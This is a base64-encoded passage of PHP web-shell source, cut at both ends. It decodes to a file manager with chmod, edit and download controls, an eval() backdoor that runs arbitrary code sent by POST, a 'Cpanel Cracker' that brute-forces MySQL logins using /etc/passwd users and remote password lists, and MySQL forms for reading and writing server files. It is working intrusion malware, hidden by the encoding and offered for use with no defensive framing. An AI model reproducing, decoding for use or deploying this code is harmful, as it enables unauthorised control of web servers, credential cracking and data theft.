ZW50ZXIiPjxiPjxzcGFuIGxhbmc9ImVuLXVzIj5kb3dsb2FkPC9zcGFuPjwvYj48L3RkPg0KCTwvdHI+DQonOw0KCWZvcmVhY2goJGZpbGVzMSBhcyAkZikNCgl7DQovKgllY2hvICIkZjxicj4iOw0KJGY9QGZpbGVzaXplKCRmKTsNCmVjaG8gZm9ybWF0X2J5dGVzKCRmKTsNCiovDQokZmZmPSIkcGF0aGNsYXNzJGYiOw0KJGZmPUBmaWxlc2l6ZSgkZmZmKTsNCmVjaG8gJw0KCTx0cj4NCgkJPHRkPg0KCQk8cCBhbGlnbj0iY2VudGVyIj4nLiRmLic8L3RkPg0KCQk8dGQ+DQoJCTxwIGFsaWduPSJjZW50ZXIiPicuZm9ybWF0X2J5dGVzKCRmZikuJzwvdGQ+DQoJCTx0ZD4NCg0KCQk8cCBhbGlnbj0iY2VudGVyIj4NCic7DQppZigkZj09Jy4nfHwkZj09Jy4uJykNCnsNCn1lbHNlew0KZWNobyAnDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCjxwIGFsaWduPSJjZW50ZXIiPg0KPGlucHV0IG5hbWU9Im5hbWVmaWxlIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iNzc3IiBzdHlsZT0id2lkdGg6IDQ1cHg7Ij4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDaGFuZ2UiID4NCjxpbnB1dCBuYW1lPSJwYXRoY2xhc3MiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGZmZi4nIj4NCjxpbnB1dCBuYW1lPSJwYWdlIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJjaG1vZCI+ICAgICAgICAJCQkJDQo8L2Zvcm0+DQonOw0KfQ0KZWNobyAnDQoNCgkJPC90ZD4NCgkJPHRkPic7DQoNCmlmKCRmPT0nLid8fCRmPT0nLi4nKQ0Kew0KLy9ubw0KfWVsc2VpZihzdHJwb3MoJGYsIi4iKSl7DQplY2hvICcNCjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPg0KPHAgYWxpZ249ImNlbnRlciI+DQoNCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFZGl0Ij4NCjxpbnB1dCBuYW1lPSJwYXRoY2xhc3MiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGZmZi4nIj4NCjxpbnB1dCBuYW1lPSJwYWdlIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJzaG93Ij4gICAgICAgIAkJCQkNCjwvcD4NCg0KPC9mb3JtPg0KJzsNCn0NCg0KZWNobyAnCQk8L3RkPg0KCQk8dGQ+DQoJCSc7DQppZigkZj09Jy4nfHwkZj09Jy4uJykNCnsNCn1lbHNlew0KZWNobyAnDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCjxwIGFsaWduPSJjZW50ZXIiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRvd25sb2FkIj4NCjxpbnB1dCBuYW1lPSJwYXRoY2xhc3MiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGZmZi4nIj4NCjxpbnB1dCBuYW1lPSJuYW1lZmlsZSIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iJy4kZi4nIj4NCjxpbnB1dCBuYW1lPSJwYWdlIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJkb3dubG9hZCI+ICAgICAgICAJCQkJDQo8L2Zvcm0+DQo8L3A+DQonOw0KfQ0KDQoJCQ0KZWNobycJCTwvdGQ+DQoNCgk8L3RyPg0KJzsNCg0KCX0NCg0KZWNobyAnPC90YWJsZT4nOw0KZXhpdDsNCgl9DQoNCglpZigkX1BPU1RbJ3BhZ2UnXT09J2NvZGUnKQ0KCXsNCgkkY29kZT0kX1BPU1RbY29kZV07DQoJJGNvZGU9c3RyX3JlcGxhY2UoJ1xcJywnJywkY29kZSk7DQoJZXZhbCgkY29kZSk7DQoJZXhpdDsNCgl9DQoNCglpZigkX1BPU1RbJ3BhZ2UnXT09J3Nob3cnKQ0KCXsNCgkkcGF0aGNsYXNzID0kX1BPU1RbJ3BhdGhjbGFzcyddOw0KZWNobyAnDQo8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFnZSIgdmFsdWU9ImVkaXQiPg0KJzsNCgkNCgkkc2FoYWNrZXIgPSBmb3BlbigkcGF0aGNsYXNzLCAicmIiKTsNCmVjaG8gJzxjZW50ZXI+Jy4kcGF0aGNsYXNzLic8YnI+PHRleHRhcmVhIGRpcj0ibHRyIiBuYW1lPSJjb2RlIiBzdHlsZT0id2lkdGg6IDg0NXB4OyBoZWlnaHQ6IDQwNHB4Ij4nOwkNCiRjb2RlID0gZnJlYWQoJHNhaGFja2VyLCBmaWxlc2l6ZSgkcGF0aGNsYXNzKSk7DQplY2hvICRjb2RlID1odG1sc3BlY2lhbGNoYXJzKCRjb2RlKTsNCmVjaG8gJzwvdGV4dGFyZWE+JzsJDQoJZmNsb3NlKCRzYWhhY2tlcik7DQplY2hvICcNCjxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGF0aGNsYXNzIiB2YWx1ZT0iJy4kcGF0aGNsYXNzLiciIHN0eWxlPSJ3aWR0aDogNDQ1cHg7Ij4NCjxicj48c3Ryb25nPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJlZGl0IGZpbGUiPg0KPC9mb3JtPg0KJzsNCgkJZXhpdDsNCgl9DQoNCglpZigkX1BPU1RbJ3BhZ2UnXT09J2NjbW1kZCcpDQoJew0KCWVjaG8gY2NtbWRkKCRjY21tZGQyLCRhdHQpOw0KCWV4aXQ7DQoJfQ0KDQppZigkX1BPU1RbJ3BhZ2UnXT09J2ZpbmQnKQ0Kew0KaWYoaXNzZXQoJF9QT1NUWyd1c2VybmFtZXMnXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzd29yZHMnXSkpDQp7DQogICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ3Bhc3N3ZCcpew0KICAgICAgICAkZSA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3VzZXJuYW1lcyddKTsNCiAgICAgICAgZm9yZWFjaCgkZSBhcyAkdmFsdWUpew0KICAgICAgICAkayA9IGV4cGxvZGUoIjoiLCR2YWx1ZSk7DQogICAgICAgICR1c2VybmFtZSAuPSAka1snMCddLiIgIjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgDQogICAgfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7DQogICAgICAgICR1c2VybmFtZSA9IHN0cl9yZXBsYWNlKCJcbiIsJyAnLCRfUE9TVFsndXNlcm5hbWVzJ10pOw0KICAgICAgICANCiAgICAgICAgDQogICAgfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpew0KICAgICR1c2VybmFtZSA9IHN0cl9yZXBsYWNlKCJcbiIsJyAnLCRfUE9TVFsndXNlcm5hbWVzJ10pOyAgICANCgkkbmFtZWZpbGU9JF9QT1NUWyduYW1lZmlsZSddOw0KCSRoYW5kbGUxID0gZm9wZW4oJG5hbWVmaWxlLCAiciIpOw0KCSRfUE9TVFsncGFzc3dvcmRzJ10gPSBmcmVhZCgkaGFuZGxlMSwgZmlsZXNpemUoJG5hbWVmaWxlKSk7DQoJZmNsb3NlKCRoYW5kbGUxKTsNCg0KDQogICAgfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAndXJsJyl7DQogICAgJHVzZXJuYW1lID0gc3RyX3JlcGxhY2UoIlxuIiwnICcsJF9QT1NUWyd1c2VybmFtZXMnXSk7DQoJJGNoID0gY3VybF9pbml0KCRfUE9TVFsnbmFtZWZpbGUyJ10pOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQoJJF9QT1NUWydwYXNzd29yZHMnXSA9IGN1cmxfZXhlYygkY2gpOw0KLyoNCgkkY29udGV4dE9wdGlvbnNbJ2h0dHAnXSA9IGFycmF5KCdtZXRob2QnID0+ICdHRVQnLCAnbWF4X3JlZGlyZWN0cyc9PjAsICdwcm90b2NvbF92ZXJzaW9uJz0+IDEuMCwgJ3RpbWVvdXQnPT4xMCwgJ2lnbm9yZV9lcnJvcnMnPT5UUlVFKTsNCgkkY29udGV4dFJlc291Y2UgID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRjb250ZXh0T3B0aW9ucyk7DQoJJHVybCA9ICRfUE9TVFsnbmFtZWZpbGUyJ107DQoJJGhhbmRsZSA9IGZvcGVuKCIkdXJsIiwgJ3InLCBmYWxzZSwgJGNvbnRleHRSZXNvdWNlKTsNCgkkX1BPU1RbJ3Bhc3N3b3JkcyddID0gc3RyZWFtX2dldF9jb250ZW50cygkaGFuZGxlKTsNCgkqLw0KICAgIH0gIA0KDQogICAgDQogICAgJGExID0gZXhwbG9kZSgiICIsJHVzZXJuYW1lKTsNCiAgICAkYTIgPSBleHBsb2RlKCJcbiIsJF9QT1NUWydwYXNzd29yZHMnXSk7DQogICAgJGlkMiA9IGNvdW50KCRhMik7DQogICAgJG9rID0gMDsNCiAgICBmb3JlYWNoKCRhMSBhcyAkdXNlciApDQogICAgew0KICAgICAgICBpZigkdXNlciAhPT0gJycpDQogICAgICAgIHsNCiAgICAgICAgJHVzZXI9dHJpbSgkdXNlcik7DQogICAgICAgICBmb3IoJGk9MDskaTw9JGlkMjskaSsrKQ0KICAgICAgICAgew0KICAgICAgICAgICAgJHBhc3MgPSB0cmltKCRhMlskaV0pOw0KICAgICAgICAgICAgJHNlcnZlcj0kX1BPU1RbJ3NlcnZlciddOw0KICAgICAgICAgICAgaWYoQG15c3FsX2Nvbm5lY3QoIiRzZXJ2ZXIiLCIkdXNlciIsIiRwYXNzIikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPGIgZGlyPXJ0bD5DcmFja2VEIFN1Y2Nlc3MgV2l0aCg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kdXNlcjwvZm9udD48L2I+KSBQYXNzd29yRCAoPGI+PGZvbnQgY29sb3I9Z3JlZW4+JHBhc3M8L2ZvbnQ+PC9iPik8YnIgLz4iOw0KICAgICAgICAgICAgICAgICRvaysrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gIjxocj48Yj5DcmFja2VEPGZvbnQgY29sb3I9Z3JlZW4+JG9rPC9mb250PkFjY291bnQ8L2I+IjsNCiAgICBlY2hvICI8Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJhY2s8L2E+IjsNCiAgICBleGl0Ow0KfQ0KfQ0KPz4NCg0KDQo8Ym9keSBzdHlsZT0iY29sb3I6ICNGRkZGRkYiPg0KDQoNCg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCgk8c3Ryb25nPg0KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImZpbmQiPiAgICAgICAgCQkJCQ0KICAgIDwvc3Ryb25nPg0KICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQogICAgPHRyPg0KICAgICAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiPjxjZW50ZXI+PHN0cm9uZz48aW1nIHNyYz0iaHR0cDovL3d3dy51cGxvYWQtYmlnLmluZm8vdXBsb2FkLzdiYmMyM2U4NDM0ZTY5ZmVmNmY4N2U0YzU4ZDM4N2UwLmdpZiIgLz48YnI+DQoJCTwvc3Ryb25nPg0KCQk8c3Ryb25nPg0KCQk8YSBocmVmPSJodHRwOi8vdHJ5YWcuY2MiIGNsYXNzPSJzdHlsZTIiPkNwYW5lbCBDcmFja2VyPC9hPjwvc3Ryb25nPjxicj4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQ+DQogICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4NCgk8c3Ryb25nPlVzZXJzIDo8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNDAiIHJvd3M9IjEwIiBuYW1lPSJ1c2VybmFtZXMiIGRpcj0ibHRyIj5yb290DQp1c2VyMQ0KdXNlcjI8L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4NCgk8c3Ryb25nPlBhc3N3b3JEIDo8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNDAiIHJvd3M9IjEwIiBuYW1lPSJwYXNzd29yZHMiICBkaXI9Imx0ciI+MQ0KMTINCjEyMw0KMTIzNA0KMTIzNDUNCjEyMzQ1Ng0KMTIzNDU2Nw0KMTIzNDU2NzgNCjEyMzQ1Njc4OQ0KMTIzNDU2Nzg5MDwvdGV4dGFyZWE+PC9zdHJvbmc+PC90ZD4NCiAgICA8L3RyPg0KPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMiIgc3R5bGU9IndpZHRoOiAxMzlweCI+DQoJPHN0cm9uZz5TZXJ2ZXIgOjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij4NCiAgICA8c3Ryb25nPjxpbnB1dCBuYW1lPSJzZXJ2ZXIiIHR5cGU9InRleHQiIHZhbHVlPSJsb2NhbGhvc3QiPjwvc3Ryb25nPjwvdGQ+DQogICAgPC90cj4NCiAgICANCiAgICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4NCgk8c3Ryb25nPktpbmQgT2YgVXNlciBBbmQgUGFzcyA6PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiIGNsYXNzPSJzdHlsZTEiPg0KICAgIDxzcGFuIGNsYXNzPSJzdHlsZTIiPg0KICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InNpbXBsZSIgY2hlY2tlZD0iY2hlY2tlZCIgY2xhc3M9InN0eWxlMSI+PGI+RGVmYXVsdDpZb3UgV2lsbCBVc2UgVGhlIERlZmF1bHQgUGFzcyBMaXN0IFRvIEJydXRlPGJyPg0KCTwvYj4gPC9zcGFuPg0KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InBhc3N3ZCIgY2xhc3M9InN0eWxlMSI+DQogICAgPGZvbnQgY2xhc3M9InN0eWxlMiI+PGI+L2V0Yy9wYXNzd2QgVXNlcnM8YnI+PC9iPiA8L2ZvbnQ+DQoJPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0eXBlIiB2YWx1ZT0iZmlsZSIgY2xhc3M9InN0eWxlMSI+PHNwYW4gY2xhc3M9InN0eWxlMyI+DQoJPGZvbnQgY2xhc3M9InN0eWxlMiI+PGI+QnJ1dGluZyBXaXRoIEFuIEluY2x1ZGVEIEZpbGUgQXQgdGhpcyBQYXRoPGJyPg0KCTxpbnB1dCBuYW1lPSJuYW1lZmlsZSIgdHlwZT0idGV4dCIgdmFsdWU9Ijw/cGhwIGVjaG8gcmVhbHBhdGgoJycpPz4iIHN0eWxlPSJ3aWR0aDogMjQ1cHgiIGRpcj0ibHRyIiA+PGJyPg0KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InVybCIgY2xhc3M9InN0eWxlMSI+QnJ1dGluZyBGcm9tIEFuIFVwbG9hZGVkIFBhc3MgTGlzdDxicj4mbmJzcDs8L2I+PGlucHV0IGRpcj0ibHRyIiBuYW1lPSJuYW1lZmlsZTIiIHR5cGU9InRleHQiIHZhbHVlPSJodHRwOi8vd3d3LmV0aGljYWxoYWNrM3IuY28udWsvZmlsZXMvZnV6emluZy9yb2NreW91LTc1LnR4dCIgc3R5bGU9IndpZHRoOiAyNDVweCIgPjxicj4NCglZb3UgQ2FuIERlbGV0ZSBUaGlzPGJyPg0KCWh0dHA6Ly93d3cuZXRoaWNhbGhhY2szci5jby51ay9maWxlcy9mdXp6aW5nL3BocGJiLnR4dDxicj4NCglodHRwOi8vd3d3LmV0aGljYWxoYWNrM3IuY28udWsvZmlsZXMvZnV6emluZy9yb2NreW91LTc1LnR4dDwvZm9udD48L3NwYW4+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdGFyVCBCcnV0aW5nIj4NCiAgICA8L3N0cm9uZz4NCiAgICA8L3RkPg0KICAgIDx0cj4NCjwvZm9ybT4gICAgDQogICAgDQogICAgPHRkIHZhbGlnbj0idG9wIiBjb2xzcGFuPSI2Ij4mbmJzcDs8L3RkPg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCjxzdHJvbmc+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJnbyIgdmFsdWU9ImNtZF9teXNxbCI+DQogICAgCTwvc3Ryb25nPg0KICAgIAk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUxIiBjb2xzcGFuPSI2Ij48c3Ryb25nPk1ZU1FMIE1hbmFnZXI8L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KICAgIAk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48c3Ryb25nPlVzZXI8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfbCIgdHlwZT0idGV4dCIgZGlyPSJsdHIiPjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPlBhc3N3b3JEPC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiPjxzdHJvbmc+PGlucHV0IG5hbWU9Im15c3FsX3AiIHR5cGU9InRleHQiIGRpcj0ibHRyIj48L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz5EYXRhYmFzZTwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPjxpbnB1dCBuYW1lPSJteXNxbF9kYiIgdHlwZT0idGV4dCIgZGlyPSJsdHIiPjwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQoJCQkJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJoZWlnaHQ6IDI1eDsgd2lkdGg6IDEzOXB4OyI+DQoJPHN0cm9uZz5Db21tYW5EIH48L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSIgc3R5bGU9ImhlaWdodDogMjVweCI+DQoJPHN0cm9uZz4NCgk8dGV4dGFyZWEgbmFtZT0iZGJfcXVlcnkiIHN0eWxlPSJ3aWR0aDogMzUzcHg7IGhlaWdodDogODlweCIgZGlyPSJsdHIiPlNIT1cgREFUQUJBU0VTOw0KU0hPVyBUQUJMRVMgdXNlcl92YiA7DQpTRUxFQ1QgKiBGUk9NIHVzZXI7DQpTRUxFQ1QgdmVyc2lvbigpOw0KU0VMRUNUIHVzZXIoKTs8L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+DQogICAgCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPiZuYnNwOzwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJhYm91dCI+PC9zdHJvbmc+PC90ZD4NCiAgICAJPC90cj4NCjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9Ik15U1FMIiB0eXBlPSJoaWRkZW4iPg0KPGlucHV0IG5hbWU9ImRiX3NlcnZlciIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0ibG9jYWxob3N0Ij4NCjxpbnB1dCBuYW1lPSJkYl9wb3J0IiB0eXBlPSJoaWRkZW4iIHZhbHVlPSIzMzA2Ij4NCjxpbnB1dCBuYW1lPSJjY2NjIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJkYl9xdWVyeSI+DQogICAgCQ0KPC9mb3JtPiAgICAJDQoNCiAgICA8dGQgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjYiPiZuYnNwOzwvdGQ+DQoNCjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPg0KPHN0cm9uZz4NCiAgICAJPC9zdHJvbmc+DQogICAgCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxzdHJvbmc+UmVhZCBBIEZpbGUgQnkgTVlTUUw8L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KICAgIAk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48c3Ryb25nPlVzZXI8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfbCIgdHlwZT0idGV4dCIgZGlyPSJsdHIiPjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPlBhc3M8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfcCIgdHlwZT0idGV4dCIgZGlyPSJsdHIiPjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPkRhdGFiYXNlIE5hbWU8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfZGIiIHR5cGU9InRleHQiIGRpcj0ibHRyIj48L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KCQkJCQk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0iaGVpZ2h0OiAyNXg7IHdpZHRoOiAxMzlweDsiPg0KCTxzdHJvbmc+RmlsZSBQYXRofjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1IiBzdHlsZT0iaGVpZ2h0OiAyNXB4Ij4NCgk8c3Ryb25nPg0KCTxpbnB1dCBuYW1lPSJwYXRoY2xhc3MiIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDogMjg0cHgiICBkaXI9Imx0ciIgdmFsdWU9Ijw/cGhwIGVjaG8gcmVhbHBhdGgoJycpPz4iPjwvc3Ryb25nPjwvdGQ+DQogICAgCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPiZuYnNwOzwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSZWFEIj48L3N0cm9uZz48L3RkPg0KICAgIAk8L3RyPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFnZSIgdmFsdWU9InJlYWRfbXlzcWwiPiAgICAJDQo8L2Zvcm0+ICAgIAkNCg0KDQogICAgPHRkIHZhbGlnbj0idG9wIiBjb2xzcGFuPSI2Ij4mbmJzcDs8L3RkPg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCjxzdHJvbmc+DQogICAgCTwvc3Ryb25nPg0KICAgIAk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUxIiBjb2xzcGFuPSI2Ij48c3Ryb25nPkNyZWF0ZSBBIEZpbGUgQnkgTVlTUUw8L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KICAgIAk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48c3Ryb25nPlVzZXI8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfbCIgdHlwZT0idGV4dCIgZGlyPSJsdHIiPjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPlBhc3M8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfcCIgdHlwZT0idGV4dCIgZGlyPSJsdHIiPjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPkRhdGFiYXNlIE5hbWU8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfZGIiIHR5cGU9InRleHQiIGRpcj0ibHRyIj48L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KCQkJCQk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0iaGVpZ2h0OiAyNXg7IHdpZHRoOiAxMzlweDsiPg0KCTxzdHJvbmc+Q29kRSB+PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiIHN0eWxlPSJoZWlnaHQ6IDI1cHgiPg0KCTxzdHJvbmc+DQoJPHRleHRhcmVhIG5hbWU9ImNvZGVzIiBzdHlsZT0id2lkdGg6IDM1M3B4OyBoZWlnaHQ6IDg5cHgiIGRpcj0ibHRyIiBjb2xzPSIyMCIgcm93cz0iMSI+Jmx0Oz9waHAgaW5jbHVkZSgkX0dFVFs